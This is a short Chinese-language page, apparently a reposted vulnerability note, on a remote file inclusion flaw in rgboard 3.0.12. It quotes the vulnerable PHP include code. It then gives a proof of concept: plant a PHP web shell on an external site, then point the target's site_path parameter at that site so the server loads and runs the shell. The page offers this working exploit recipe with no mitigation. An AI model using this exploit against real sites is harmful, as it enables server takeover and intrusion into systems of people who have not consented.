rgboard 论坛 漏洞 rgboard 3.0.12 远程文件包含漏洞
人气:0想了解rgboard 3.0.12 远程文件包含漏洞的相关内容吗，在本文为您仔细讲解rgboard 论坛 漏洞的相关知识和一些Code实例，欢迎阅读和指正，我们先划重点：rgboard,论坛,漏洞，下面大家一起来学习吧。
vul code: \include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path没有过滤直接放过来包含了
poc:
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
加载全部内容